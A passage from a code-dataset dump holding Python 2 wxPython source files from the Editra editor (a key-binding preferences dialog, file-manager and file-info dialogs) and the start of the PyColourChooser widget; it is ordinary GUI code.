wx.ID_NEW:\n dlg = wx.TextEntryDialog(self, _(\"New Profile\"),\n _(\"Enter the name of the new key profile\"))\n dlg.ShowModal()\n val = dlg.GetValue()\n if len(val):\n choices = profiles.GetItems() + ['', val]\n profiles.SetItems(sorted(list(set(choices))))\n profiles.SetStringSelection(val)\n self.menub.NewKeyProfile(val)\n profiles.Enable(len(profiles.GetItems()))\n self.EnableControls(len(profiles.GetItems()))\n elif e_id == wx.ID_DELETE:\n val = profiles.GetStringSelection()\n if val:\n # Remove the selected profile\n items = profiles.GetItems()\n items.remove(val)\n self.menub.DeleteKeyProfile(val)\n if len(items) == 1 and items[0] == '':\n items = list()\n\n profiles.SetItems(items)\n profiles.Enable(len(items))\n if len(items):\n profiles.SetSelection(0)\n\n self.EnableControls(len(profiles.GetItems()))\n csel = profiles.GetStringSelection()\n if csel:\n Profile_Set('KEY_PROFILE', csel)\n else:\n Profile_Set('KEY_PROFILE', None) # Use defaults\n ed_msg.PostMessage(ed_msg.EDMSG_MENU_LOADPROFILE,\n Profile_Get('KEY_PROFILE', default=None))\n elif e_id == wx.ID_REVERT:\n # Revert to the original settings\n Profile_Set('KEY_PROFILE', None)\n ed_msg.PostMessage(ed_msg.EDMSG_MENU_LOADPROFILE, None)\n self.menub.SaveKeyProfile()\n self.FindWindowById(ed_glob.ID_KEY_PROFILES).SetStringSelection('')\n self.EnableControls(False)\n elif e_id == wx.ID_APPLY:\n # Update the menu(s) to the new settings\n profiles = self.FindWindowById(ed_glob.ID_KEY_PROFILES)\n csel = profiles.GetStringSelection()\n if not len(csel):\n csel = None\n Profile_Set('KEY_PROFILE', csel)\n ed_msg.PostMessage(ed_msg.EDMSG_MENU_REBIND)\n self.menub.SaveKeyProfile()\n else:\n evt.Skip()\n\n def OnChoice(self, evt):\n \"\"\"Handle selections in the choice controls\n @param evt: wx.CommandEvent\n\n \"\"\"\n e_id = evt.GetId()\n csel = evt.GetEventObject().GetStringSelection()\n if e_id == ed_glob.ID_KEY_PROFILES:\n if not len(csel):\n csel = None\n self.binder.LoadKeyProfile(csel)\n Profile_Set('KEY_PROFILE', csel)\n ed_msg.PostMessage(ed_msg.EDMSG_MENU_REBIND)\n self.menub.SaveKeyProfile()\n self.EnableControls(csel is not None)\n elif e_id == ID_MENUS:\n mi_listbx = self.FindWindowById(ID_MENU_ITEMS)\n if mi_listbx is not None:\n mi_listbx.SetItems([item[1] for item in self.menumap.get(csel)])\n self.ClearKeyView()\n elif e_id == ID_MOD1:\n mod2 = self.FindWindowById(ID_MOD2)\n if not len(csel):\n mod2.Clear()\n mod2.Disable()\n else:\n mod2.Enable()\n tmods = list(MODIFIERS)\n tmods.remove(csel)\n mod2.SetItems(tmods)\n mod2.SetStringSelection('')\n self._UpdateBinding()\n self.Dirty = True\n elif e_id in [ID_MOD2, ID_KEYS]:\n self._UpdateBinding()\n self.Dirty = True\n else:\n evt.Skip()\n\n # Update the keybinding\n if e_id in (ID_MOD1, ID_MOD2, ID_KEYS):\n bval = u\"+\".join(self.GetBindingValue())\n bval = bval.replace('Cmd', 'Ctrl', 1)\n self.binder.SetBinding(self._GetMenuId(), bval)\n\n def OnListBox(self, evt):\n \"\"\"Handle listbox selections and update binding display\n @param evt: wx.CommandEvent\n\n \"\"\"\n if evt.GetId() == ID_MENU_ITEMS:\n sel_idx = evt.GetSelection()\n cmenu = self.FindWindowById(ID_MENUS).GetStringSelection()\n menu_id = self.menumap.get(cmenu)[sel_idx][0]\n keys = self.binder.GetRawBinding(menu_id)\n self._UpdateKeyDisplay(keys)\n else:\n evt.Skip()\n\n#----------------------------------------------------------------------------#\n\nclass ExtListCtrl(wx.ListCtrl,\n listmix.ListCtrlAutoWidthMixin,\n listmix.TextEditMixin,\n eclib.ListRowHighlighter):\n \"\"\"Class to manage the file extension associations\n @summary: Creates a list control for showing file type to file extension\n associations as well as providing an interface to editing these\n associations\n\n \"\"\"\n FILE_COL = 0\n EXT_COL = 1\n def __init__(self, parent):\n \"\"\"Initializes the Profile List Control\n @param parent: The parent window of this control\n\n \"\"\"\n wx.ListCtrl.__init__(self, parent, wx.ID_ANY,\n wx.DefaultPosition, wx.DefaultSize,\n style=wx.LC_REPORT | wx.LC_SORT_ASCENDING | \\\n wx.LC_VRULES | wx.BORDER)\n\n listmix.ListCtrlAutoWidthMixin.__init__(self)\n eclib.ListRowHighlighter.__init__(self)\n\n # Setup\n self.InsertColumn(ExtListCtrl.FILE_COL, _(\"Lexer\"))\n self.InsertColumn(ExtListCtrl.EXT_COL, \\\n _(\"Extensions (space separated, no dots)\"))\n self._extreg = syntax.ExtensionRegister()\n self._editing = None\n self.LoadList()\n listmix.TextEditMixin.__init__(self)\n\n def CloseEditor(self, evt=None):\n \"\"\"Update list and extension register after edit window\n closes.\n @keyword evt: Action that triggered this function\n\n \"\"\"\n listmix.TextEditMixin.CloseEditor(self, evt)\n def UpdateRegister(itempos):\n \"\"\"Update the ExtensionRegister\n @param itempos: position of the item to base updates on\n\n \"\"\"\n vals = self.GetItem(itempos[1], itempos[0]).GetText()\n ftype = self.GetItem(itempos[1], ExtListCtrl.FILE_COL).GetText()\n self._editing = None\n self._extreg.SetAssociation(ftype, vals)\n\n if self._editing != None:\n wx.CallAfter(UpdateRegister, self._editing)\n wx.CallAfter(self.UpdateExtensions)\n\n def LoadList(self):\n \"\"\"Loads the list of filetypes to file extension mappings into the\n list control.\n @postcondition: The running configuration data that is kept by the\n syntax manager that relates to file associations is\n loaded into the list control in alphabetical order\n\n \"\"\"\n for key in sorted(self._extreg.keys()):\n index = self.InsertStringItem(sys.maxint, key)\n self.SetStringItem(index, ExtListCtrl.FILE_COL, key)\n self.SetStringItem(index, ExtListCtrl.EXT_COL, \\\n u' %s' % u' '.join(self._extreg[key]))\n\n self.SetColumnWidth(ExtListCtrl.FILE_COL, wx.LIST_AUTOSIZE)\n self.SetColumnWidth(ExtListCtrl.EXT_COL, wx.LIST_AUTOSIZE)\n\n def OpenEditor(self, col, row):\n \"\"\"Disable the editor for the first column\n @param col: Column to edit\n @param row: Row to edit\n\n \"\"\"\n if col != self.FILE_COL:\n self._editing = (col, row)\n listmix.TextEditMixin.OpenEditor(self, col, row)\n\n def UpdateExtensions(self):\n \"\"\"Updates the values in the EXT_COL to reflect changes\n in the ExtensionRegister.\n @postcondition: Any configuration changes made in the control are\n set in the Extension register.\n @see: L{syntax.syntax.ExtensionRegister}\n\n \"\"\"\n for row in xrange(self.GetItemCount()):\n ftype = self.GetItem(row, ExtListCtrl.FILE_COL).GetText()\n self.SetStringItem(row, ExtListCtrl.EXT_COL, \\\n u' ' + u' '.join(self._extreg[ftype]))\n\n#----------------------------------------------------------------------------#\n\nclass ExChoice(wx.Choice):\n \"\"\"Class to extend wx.Choice to have the GetValue\n function. This allows the application function to remain\n uniform in its value retrieval from all objects. This also extends\n wx.Choice to have a default selected value on init.\n\n \"\"\"\n def __init__(self, parent, cid=wx.ID_ANY, choices=list(), default=None):\n \"\"\"Constructs a Choice Control\n @param parent: The parent window of this control\n\n \"\"\"\n if len(choices) and isinstance(choices[0], int):\n choices = [ unicode(choice) for choice in choices ]\n\n super(ExChoice, self).__init__(parent, cid, choices=choices)\n\n if default != None and isinstance(default, basestring):\n self.SetStringSelection(default)\n elif default is not None:\n self.SetSelection(default)\n\n def GetValue(self):\n \"\"\"Gets the Selected Value\n @return: the value of the currently selected item\n @rtype: string\n\n \"\"\"\n val = self.GetStringSelection()\n if val.isalpha():\n val.lower()\n return val\n\n#-----------------------------------------------------------------------------#\n# Utility Functions\n\ndef GetPrintModeStrings():\n \"\"\"Get the strings for describing the print modes\n @note: defined in a function so translations can take place at runtime\n @note: Order must be kept in sync with the PRINT_ vals in ed_glob\n\n \"\"\"\n return [_('Black/White'), # PRINT_BLACK_WHITE\n _('Colour/White'), # PRINT_COLOR_WHITE\n _('Colour/Default'), # PRINT_COLOR_DEF\n _('Inverse'), # PRINT_INVERSE\n _('Normal')] # PRINT_NORMAL\n\ndef DoUpdates(meth=None, args=list()):\n \"\"\"Update all open text controls\"\"\"\n for mainw in wx.GetApp().GetMainWindows():\n mainw.nb.UpdateTextControls(meth, args)\n", "id": "7608174", "language": "Python", "matching_score": 7.616130352020264, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/prefdlg.py" }, { "content": "###############################################################################\n# Name: filemgrdlg.py #\n# Purpose: Simple File Management Dialog #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nEditra Control Library: FileMgrDialog\n\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: filemgrdlg.py 63361 2010-02-03 04:03:45Z CJP $\"\n__revision__ = \"$Revision: 63361 $\"\n\n__all__ = [\"FileMgrDialog\",\n \"FMD_DEFAULT_STYLE\", \"FMD_NO_DELETE\"]\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport os\nimport fnmatch\nimport wx\nimport wx.lib.mixins.listctrl as listmix\n\n# Eclib Imports\nimport ecbasewin\nimport elistmix\n\n#-----------------------------------------------------------------------------#\n# Globals\n\n# Style Flags\nFMD_DEFAULT_STYLE = wx.DEFAULT_DIALOG_STYLE | wx.RESIZE_BORDER\nFMD_NO_DELETE = 1\n\n\n_ = wx.GetTranslation\n\n#-----------------------------------------------------------------------------#\n\nclass FileMgrDialog(ecbasewin.ECBaseDlg):\n def __init__(self, parent, id=wx.ID_ANY, title=u\"\",\n defaultPath=os.curdir, defaultFile=u'', filter=\"*\",\n pos=wx.DefaultPosition, size=wx.DefaultSize, \n style=FMD_DEFAULT_STYLE,\n name=u\"FileMgrDialog\"):\n ecbasewin.ECBaseDlg.__init__(self, parent, id, title,\n pos, size, style, name)\n\n # Attributes\n\n # Setup\n panel = FileMgrPanel(self, defaultPath, defaultFile, filter)\n self.SetPanel(panel)\n panel.EnableDeleteOption(not (FMD_NO_DELETE & style))\n\n # Event Handlers\n self.Bind(wx.EVT_BUTTON, self.OnSave, id=wx.ID_SAVE)\n\n def OnSave(self, evt):\n \"\"\"Exit the dialog\"\"\"\n self.EndModal(wx.ID_OK)\n\n#-----------------------------------------------------------------------------#\n\nclass FileMgrPanel(wx.Panel):\n def __init__(self, parent, path, fname, filter):\n wx.Panel.__init__(self, parent)\n\n # Attributes\n self._entry = wx.TextCtrl(self)\n self._flist = None\n self._path = path\n self._filter = filter\n\n # Setup\n self.__DoLayout(fname)\n\n # Event Handlers\n self.Bind(wx.EVT_BUTTON, self.OnDelete, id=wx.ID_DELETE)\n self.Bind(wx.EVT_UPDATE_UI, self.OnUpdateUI, id=wx.ID_SAVE)\n self.Bind(wx.EVT_UPDATE_UI, self.OnUpdateUI, id=wx.ID_DELETE)\n self.Bind(wx.EVT_LIST_ITEM_SELECTED, self.OnFileSelected)\n\n def __DoLayout(self, fname):\n \"\"\"Layout the panel\n @param fname: default filename\n\n \"\"\"\n vsizer = wx.BoxSizer(wx.VERTICAL)\n statbox = wx.StaticBox(self)\n sbsizer = wx.StaticBoxSizer(statbox, wx.VERTICAL)\n\n # File List\n self._flist = FileList(self)\n self._flist.LoadFiles(self._path, self._filter)\n sbsizer.Add(self._flist, 1, wx.EXPAND)\n item = self._flist.FindItem(0, fname)\n if item != wx.NOT_FOUND:\n self._flist.Select(item)\n\n fbtnsz = wx.BoxSizer(wx.HORIZONTAL)\n dbtn = wx.Button(self, wx.ID_DELETE)\n if wx.Platform == '__WXMAC__':\n dbtn.SetWindowVariant(wx.WINDOW_VARIANT_SMALL)\n fbtnsz.AddStretchSpacer()\n fbtnsz.Add(dbtn, 0, wx.ALIGN_RIGHT|wx.RIGHT, 5)\n sbsizer.Add((5, 5), 0)\n sbsizer.Add(fbtnsz, 0, wx.EXPAND)\n\n vsizer.Add((10, 10), 0)\n vsizer.Add(sbsizer, 1, wx.EXPAND|wx.ALL, 5)\n vsizer.Add((10, 10), 0)\n\n # File Name\n hsizer = wx.BoxSizer(wx.HORIZONTAL)\n sa_lbl = wx.StaticText(self, label=_(\"Save As\"))\n hsizer.AddMany([(sa_lbl, 0, wx.ALIGN_CENTER_VERTICAL),\n ((5, 5), 0),\n (self._entry, 1, wx.EXPAND|wx.ALIGN_CENTER_VERTICAL)])\n self._entry.SetValue(fname)\n vsizer.Add(hsizer, 0, wx.EXPAND|wx.ALL, 10)\n vsizer.Add((10, 10), 0)\n\n # Buttons\n save = wx.Button(self, wx.ID_SAVE)\n cancel = wx.Button(self, wx.ID_CANCEL)\n cancel.SetDefault()\n bsizer = wx.StdDialogButtonSizer()\n bsizer.AddButton(save)\n bsizer.AddButton(cancel)\n bsizer.Realize()\n vsizer.Add(bsizer, 0, wx.EXPAND|wx.BOTTOM, 8)\n\n self.SetSizer(vsizer)\n\n def EnableDeleteOption(self, enable=True):\n \"\"\"Enable/Disable the Delete Option\n @keyword enable: bool\n\n \"\"\"\n del_btn = self.FindWindowById(wx.ID_DELETE)\n del_btn.Show(enable)\n self.Layout()\n\n @ecbasewin.expose(FileMgrDialog)\n def GetSelectedFile(self):\n \"\"\"Get the selected filename\n @return: string\n\n \"\"\"\n item = self._flist.GetFocusedItem()\n if item != -1:\n item = self._flist.GetItem(item, 0)\n fname = item.GetText()\n return fname\n return u\"\"\n\n def OnDelete(self, evt):\n \"\"\"Prompt to delete file the selected file\"\"\"\n fname = self.GetSelectedFile()\n if fname and os.path.exists(fname):\n if wx.MessageBox(_(\"Are you sure want to delete %s?\") % fname,\n _(\"Delete File?\"),\n wx.ICON_WARNING|wx.OK|wx.CANCEL|wx.CENTER,\n self) == wx.OK:\n try:\n os.remove(fname)\n except OSError:\n wx.MessageBox(_(\"Unable to delete %s\") % fname,\n _(\"Delete Error\"),\n wx.ICON_ERROR|wx.OK|wx.CENTER)\n else:\n # Refresh the list\n self._flist.DeleteAllItems()\n self._flist.LoadFiles(self._path, self._filter)\n\n def OnFileSelected(self, evt):\n \"\"\"Update the name in the save as field when a selection is made\n in the list control.\n\n \"\"\"\n fname = self.GetSelectedFile()\n self._entry.SetValue(fname)\n\n def OnUpdateUI(self, evt):\n \"\"\"Enable/Disable the Save button depending on what is entered in the\n filename dialog.\n\n \"\"\"\n e_id = evt.GetId()\n if e_id == wx.ID_SAVE:\n evt.Enable(bool(self._entry.GetValue()))\n elif e_id == wx.ID_DELETE:\n evt.Enable(self._flist.GetFirstSelected() != -1)\n\n#-----------------------------------------------------------------------------#\n\nclass FileList(wx.ListCtrl,\n listmix.ListCtrlAutoWidthMixin,\n elistmix.ListRowHighlighter):\n def __init__(self, parent):\n wx.ListCtrl.__init__(self, parent,\n style=wx.LC_REPORT|\n wx.LC_SORT_ASCENDING|\n wx.LC_VRULES|\n wx.LC_SINGLE_SEL)\n listmix.ListCtrlAutoWidthMixin.__init__(self)\n elistmix.ListRowHighlighter.__init__(self)\n\n # Attributes\n\n # Setup\n self.InsertColumn(0, _(\"Files\"))\n il = wx.ImageList(16, 16)\n self.imgidx = il.Add(wx.ArtProvider.GetBitmap(wx.ART_NORMAL_FILE, wx.ART_MENU, (16, 16)))\n self.AssignImageList(il, wx.IMAGE_LIST_SMALL)\n self.setResizeColumn(0)\n\n def LoadFiles(self, path, wildcards=\"*\"):\n \"\"\"Load all files from the given path\n @param path: directory to list\n @keyword wildcards: ; separated string of wildcard patterns\n\n \"\"\"\n assert os.path.exists(path), \"Invalid Path\"\n flist = list()\n patterns = wildcards.split(';')\n for fname in os.listdir(path):\n for pattern in patterns:\n if fnmatch.fnmatchcase(fname, pattern):\n flist.append(fname)\n break\n flist.sort()\n self.SetFiles(flist)\n\n def SetFiles(self, files):\n \"\"\"Set the files in the list\n @param files: list of files\n\n \"\"\"\n for idx, fname in enumerate(files):\n self.Append((fname,))\n self.SetItemImage(self.GetItemCount() - 1, self.imgidx)\n\n#-----------------------------------------------------------------------------#\n\nif __name__ == '__main__':\n app = wx.App(False)\n frame = wx.Frame(None)\n dlg = FileMgrDialog(frame, title=\"HELLO\", defaultFile=u'eclutil.py',\n style=FMD_DEFAULT_STYLE)\n dlg.ShowModal()\n frame.Destroy()\n app.MainLoop()\n", "id": "3762121", "language": "Python", "matching_score": 4.8052496910095215, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/eclib/filemgrdlg.py" }, { "content": "###############################################################################\n# Name: FileInfo.py #\n# Purpose: Display information about files/folders #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFileInfo.py\n\nDialog for displaying file information.\n\nDisplays information on:\n * Filename and Path\n * File Size\n * Read/Write/Execute permissions\n * Creation/Modification times\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: infodlg.py 66025 2010-11-05 19:18:08Z CJP $\"\n__revision__ = \"$Revision: 66025 $\"\n\n__all__ = [\"FileInfoDlg\", \"CalcSize\", \"GetFileType\"]\n\n#--------------------------------------------------------------------------#\n# Imports\nimport os\nimport time\nimport stat\nimport mimetypes\nimport wx\n\n#--------------------------------------------------------------------------#\n# Globals\n\n_ = wx.GetTranslation\n\nPERM_MAP = { '0' : '---', '1' : '--x', '2' : '-w-', '3' : '-wx',\n '4' : 'r--', '5' : 'r-x', '6' : 'rw-', '7' : 'rwx'}\n\n#--------------------------------------------------------------------------#\n\nclass FileInfoDlg(wx.MiniFrame):\n \"\"\"Dialog for displaying information about a file\"\"\"\n def __init__(self, parent, fname='', ftype=None, bmp=wx.NullBitmap):\n \"\"\"Create the dialog with the information of the given file\n @param parent: Parent Window\n @keyword fname: File Path\n @keyword ftype: Filetype label (leave None to automatically determine)\n @keyword bmp: wxBitmap\n\n \"\"\"\n self._fname = fname.split(os.path.sep)[-1]\n super(FileInfoDlg, self).__init__(parent,\n title=\"%s %s\" % (self._fname, _(\"Info\")),\n style=wx.DEFAULT_DIALOG_STYLE)\n\n # Attributes\n self._file = fname\n self._ftype = ftype\n self.panel = wx.Panel(self)\n if bmp.IsNull():\n bmp = wx.ArtProvider.GetBitmap(wx.ART_INFORMATION, wx.ART_CMN_DIALOG)\n self._bmp = wx.StaticBitmap(self.panel, bitmap=bmp)\n self._ftxt = wx.StaticText(self.panel)\n\n try:\n fstat = os.stat(fname)\n perm = oct(stat.S_IMODE(fstat[stat.ST_MODE])).lstrip('0')\n permstr = ''\n for bit in perm:\n permstr += (PERM_MAP.get(bit, '---') + \" \")\n self._fstat = dict(mtime=time.asctime(time.localtime(fstat[stat.ST_MTIME])),\n ctime=time.asctime(time.localtime(fstat[stat.ST_CTIME])),\n size=CalcSize(fstat[stat.ST_SIZE]),\n perm=permstr)\n except Exception, msg:\n self.__DoErrorLayout(str(msg))\n else:\n self.__DoLayout()\n\n self.panel.SetAutoLayout(True)\n fsizer = wx.BoxSizer(wx.VERTICAL)\n fsizer.Add(self.panel, 1, wx.EXPAND)\n self.SetSizer(fsizer)\n self.SetAutoLayout(True)\n self.SetInitialSize()\n\n # Event Handlers\n self.Bind(wx.EVT_CLOSE, self.OnClose)\n\n def __DoErrorLayout(self, msg):\n \"\"\"Set the dialogs display up for when an error happened in\n the stat call.\n\n \"\"\"\n # Top Info\n top = wx.BoxSizer(wx.HORIZONTAL)\n head = wx.BoxSizer(wx.VERTICAL)\n err = wx.ArtProvider.GetBitmap(wx.ART_ERROR, wx.ART_CMN_DIALOG)\n bmp = wx.StaticBitmap(self.panel, bitmap=err)\n lbl = wx.StaticText(self.panel, label=self._fname)\n font = self.GetFont()\n font.SetWeight(wx.FONTWEIGHT_BOLD)\n if wx.Platform == '__WXMSW__':\n font.SetPointSize(12)\n else:\n font.SetPointSize(13)\n lbl.SetFont(font)\n head.Add(lbl, 0, wx.ALIGN_LEFT)\n\n errlbl = wx.StaticText(self.panel, label=_(\"File Stat Failed\"))\n if wx.Platform == '__WXMSW__':\n font.SetPointSize(10)\n else:\n font.SetPointSize(11)\n font.SetWeight(wx.FONTWEIGHT_LIGHT)\n errlbl.SetFont(font)\n head.Add((5, 5), 0)\n head.Add(errlbl, 0, wx.ALIGN_LEFT)\n top.AddMany([((5, 5),), (bmp, 0, wx.ALIGN_LEFT), ((12, 12),), \n (head, 0, wx.ALIGN_LEFT), ((5, 5),)])\n\n # Central Area\n csizer = wx.BoxSizer(wx.VERTICAL)\n errbmp = wx.ArtProvider.GetBitmap(wx.ART_ERROR, wx.ART_CMN_DIALOG)\n errbmp = wx.StaticBitmap(self.panel, bitmap=errbmp)\n errmsg = wx.StaticText(self.panel, label=msg)\n errmsg.SetFont(font)\n errmsg.Wrap(225)\n errsz = wx.BoxSizer(wx.HORIZONTAL)\n errsz.AddMany([((8, 8)), (errmsg, 0, wx.ALIGN_LEFT), ((8, 8))])\n csizer.AddMany([((10, 10)), (top, 1, wx.EXPAND), ((10, 10)),\n (wx.StaticLine(self.panel, style=wx.LI_HORIZONTAL), 0, wx.EXPAND),\n ((20, 20)), (errbmp, 0, wx.ALIGN_CENTER),\n ((10, 10)), (errsz, 0, wx.ALIGN_CENTER), ((10, 10)),\n (wx.StaticLine(self.panel, style=wx.LI_HORIZONTAL), 0, wx.EXPAND),\n ((10, 10))])\n self.panel.SetSizer(csizer)\n\n def __DoLayout(self):\n \"\"\"Layout the dialog\"\"\"\n # Top Info\n top = wx.BoxSizer(wx.HORIZONTAL)\n head = wx.BoxSizer(wx.HORIZONTAL)\n lbl = wx.StaticText(self.panel, label=self._fname)\n fszlbl = wx.StaticText(self.panel, label=self._fstat['size'])\n font = self.GetFont()\n font.SetWeight(wx.FONTWEIGHT_BOLD)\n if wx.Platform == '__WXMSW__':\n font.SetPointSize(12)\n else:\n font.SetPointSize(13)\n lbl.SetFont(font)\n fszlbl.SetFont(font)\n head.Add(lbl, 0, wx.ALIGN_LEFT)\n head.AddStretchSpacer(2)\n head.Add(fszlbl, 1, wx.ALIGN_RIGHT)\n\n modlbl = wx.StaticText(self.panel, label=\"%s: %s\" % (_(\"Modified\"),\n self._fstat['mtime']))\n if wx.Platform == '__WXMSW__':\n font.SetPointSize(10)\n else:\n font.SetPointSize(11)\n\n font.SetWeight(wx.FONTWEIGHT_LIGHT)\n modlbl.SetFont(font)\n lblsize = wx.BoxSizer(wx.VERTICAL)\n lblsize.AddMany([(head, 1, wx.ALIGN_LEFT), ((3, 3),), \n (modlbl, 0, wx.ALIGN_LEFT | wx.ALIGN_BOTTOM)])\n\n top.AddMany([((5, 5)),\n (self._bmp, 0, wx.ALIGN_LEFT),\n ((12, 12)), (lblsize, 0, wx.ALIGN_LEFT), ((5, 5))])\n\n # Central Info\n center = wx.FlexGridSizer(6, 2, 3, 5)\n tlbl = wx.StaticText(self.panel, label=_(\"Kind\") + \":\")\n\n if self._ftype is None:\n self._ftxt.SetLabel(GetFileType(self._file))\n else:\n self._ftxt.SetLabel(self._ftype)\n\n szlbl = wx.StaticText(self.panel, label=_(\"Size\") + \":\")\n szval = wx.StaticText(self.panel, label=self._fstat['size'])\n loclbl = wx.StaticText(self.panel, label=_(\"Where\") + \":\")\n locval = wx.StaticText(self.panel, label=self._FormatLabel(self._file))\n ctime = wx.StaticText(self.panel, label=_(\"Created\") + \":\")\n cval = wx.StaticText(self.panel, label=self._fstat['ctime'])\n mtime = wx.StaticText(self.panel, label=_(\"Modified\") + \":\")\n mval = wx.StaticText(self.panel, label=self._fstat['mtime'])\n perm = wx.StaticText(self.panel, label=_(\"Permissions\") + \":\")\n pval = wx.StaticText(self.panel, label=self._fstat['perm'])\n for lbl in (tlbl, self._ftxt, szlbl, szval, loclbl, \n locval, ctime, cval, mtime, mval, perm, pval):\n lbl.SetFont(font)\n lbl.Wrap(200)\n center.AddMany([(tlbl, 0, wx.ALIGN_RIGHT), (self._ftxt, 0, wx.ALIGN_LEFT),\n (szlbl, 0, wx.ALIGN_RIGHT), (szval, 0, wx.ALIGN_LEFT),\n (loclbl, 0, wx.ALIGN_RIGHT), (locval, 0, wx.ALIGN_LEFT),\n (ctime, 0, wx.ALIGN_RIGHT), (cval, 0, wx.ALIGN_LEFT),\n (mtime, 0, wx.ALIGN_RIGHT), (mval, 0, wx.ALIGN_LEFT),\n (perm, 0, wx.ALIGN_RIGHT), (pval, 0, wx.ALIGN_LEFT)])\n cmain = wx.BoxSizer(wx.HORIZONTAL)\n cmain.AddMany([((8, 8),), (center, 0, wx.ALIGN_CENTER), ((8, 8),)])\n\n # Main Layout\n msizer = wx.BoxSizer(wx.VERTICAL)\n msizer.AddMany([((10, 10)), (top, 0, wx.ALIGN_CENTER), ((10, 10),),\n (wx.StaticLine(self.panel, style=wx.LI_HORIZONTAL), 1,\n wx.EXPAND|wx.ALIGN_CENTER),\n ((10, 10),), (cmain, 0, wx.ALIGN_TOP|wx.ALIGN_CENTER),\n ((10, 10),),\n (wx.StaticLine(self.panel, style=wx.LI_HORIZONTAL), 1,\n wx.EXPAND|wx.ALIGN_CENTER),\n ((10, 10),),\n ])\n self.panel.SetSizer(msizer)\n\n def _FormatLabel(self, lbl):\n \"\"\"Format the label to a suitable width wrapping as necessary\"\"\"\n lbl_len = len(lbl)\n part = self.GetTextExtent(lbl)[0] / 200\n if part > 1:\n split = lbl_len / part\n pieces = list()\n for chunk in xrange(part):\n if chunk == part - 1:\n pieces.append(lbl[chunk * split:])\n else:\n pieces.append(lbl[chunk * split:(chunk * split + split)])\n return os.linesep.join(pieces)\n return lbl\n\n def OnClose(self, evt):\n \"\"\"Destroy ourselves on closer\"\"\"\n self.Destroy()\n evt.Skip()\n\n def SetBitmap(self, bmp):\n \"\"\"Set the dialog bitmap\n @param bmp: wxBitmap\n\n \"\"\"\n self._bmp.SetBitmap(bmp)\n self._bmp.Refresh()\n self.panel.Layout()\n\n def SetFileTypeLabel(self, lbl):\n \"\"\"Set the file type label\n @param lbl: string\n\n \"\"\"\n self._ftype = lbl\n self._ftxt.SetLabel(lbl)\n self.panel.Layout()\n\n#-----------------------------------------------------------------------------#\n# Utility Functions\n\ndef CalcSize(bits):\n \"\"\"Calculate the best display version of the size of a given file\n 1024 = 1KB, 1024KB = 1MB, ...\n @param bits: size of file returned by stat\n @return: formatted string representation of value\n\n \"\"\"\n val = ('bytes', 'KB', 'MB', 'GB', 'TB')\n ind = 0\n while bits > 1024:\n bits = float(bits) / 1024.0\n ind += 1\n\n rval = \"%.2f\" % bits\n rval = rval.rstrip('.0')\n if not rval:\n rval = '0'\n rval = \"%s %s\" % (rval, val[min(ind, 4)])\n return rval\n\ndef GetFileType(fname):\n \"\"\"Get what the type of the file is\n @param fname: file path\n\n \"\"\"\n if os.path.isdir(fname):\n return _(\"Folder\")\n\n mtype = mimetypes.guess_type(fname)[0]\n if mtype is not None:\n return mtype\n else:\n return _(\"Unknown\")\n\n", "id": "12626381", "language": "Python", "matching_score": 2.3893883228302, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/eclib/infodlg.py" }, { "content": "\"\"\"\nPyColourChooser\nCopyright (C) 2002 <NAME> <<EMAIL>>\n\nThis file is part of PyColourChooser.\n\nThis version of PyColourChooser is open source; you can redistribute it\nand/or modify it under the licensed terms.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\"\"\"\n\n# 12/14/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n#\n# 12/21/2003 - <NAME> (<EMAIL>)\n#\n# o wxPyColorChooser -> PyColorChooser\n# o wxPyColourChooser -> PyColourChooser\n# o Added wx.InitAllImageHandlers() to test code since\n# that's where it belongs.\n#\n\nimport wx\n\nimport pycolourbox\nimport pypalette\nimport pycolourslider\nimport colorsys\nimport intl\n\nfrom intl import _ # _\n\nclass PyColourChooser(wx.Panel):\n \"\"\"A Pure-Python implementation of the colour chooser dialog.\n\n The PyColourChooser is a pure python implementation of the colour\n chooser dialog. It's useful for embedding the colour choosing functionality\n inside other widgets, when the pop-up dialog is undesirable. It can also\n be used as a drop-in replacement on the GTK platform, as the native\n dialog is kind of ugly.\n \"\"\"\n\n colour_names = [\n 'ORANGE',\n 'GOLDENROD',\n 'WHEAT',\n 'SPRING GREEN',\n 'SKY BLUE',\n 'SLATE BLUE',\n 'MEDIUM VIOLET RED',\n 'PURPLE',\n\n 'RED',\n 'YELLOW',\n 'MEDIUM SPRING GREEN',\n 'PALE GREEN',\n 'CYAN',\n 'LIGHT STEEL BLUE',\n 'ORCHID',\n 'LIGHT MAGENTA',\n\n 'BROWN',\n 'YELLOW',\n 'GREEN',\n 'CADET BLUE',\n 'MEDIUM BLUE',\n 'MAGENTA',\n 'MAROON',\n 'ORANGE RED',\n\n 'FIREBRICK',\n 'CORAL',\n 'FOREST GREEN',\n 'AQUAMARINE',\n 'BLUE',\n 'NAVY',\n 'THISTLE',\n 'MEDIUM VIOLET RED',\n\n 'INDIAN RED',\n 'GOLD',\n 'MEDIUM SEA GREEN',\n 'MEDIUM BLUE',\n 'MIDNIGHT BLUE',\n 'GREY',\n 'PURPLE',\n 'KHAKI',\n\n 'BLACK',\n 'MEDIUM FOREST GREEN',\n 'KHAKI',\n 'DARK GREY',\n 'SEA GREEN',\n 'LIGHT GREY',\n 'MEDIUM SLATE BLUE',\n 'WHITE',\n ]\n\n # Generate the custom colours. These colours are shared across\n # all instances of the colour chooser\n NO_CUSTOM_COLOURS = 16\n custom_colours = [ (wx.Colour(255, 255, 255),\n pycolourslider.PyColourSlider.HEIGHT / 2)\n ] * NO_CUSTOM_COLOURS\n last_custom = 0\n\n idADD_CUSTOM 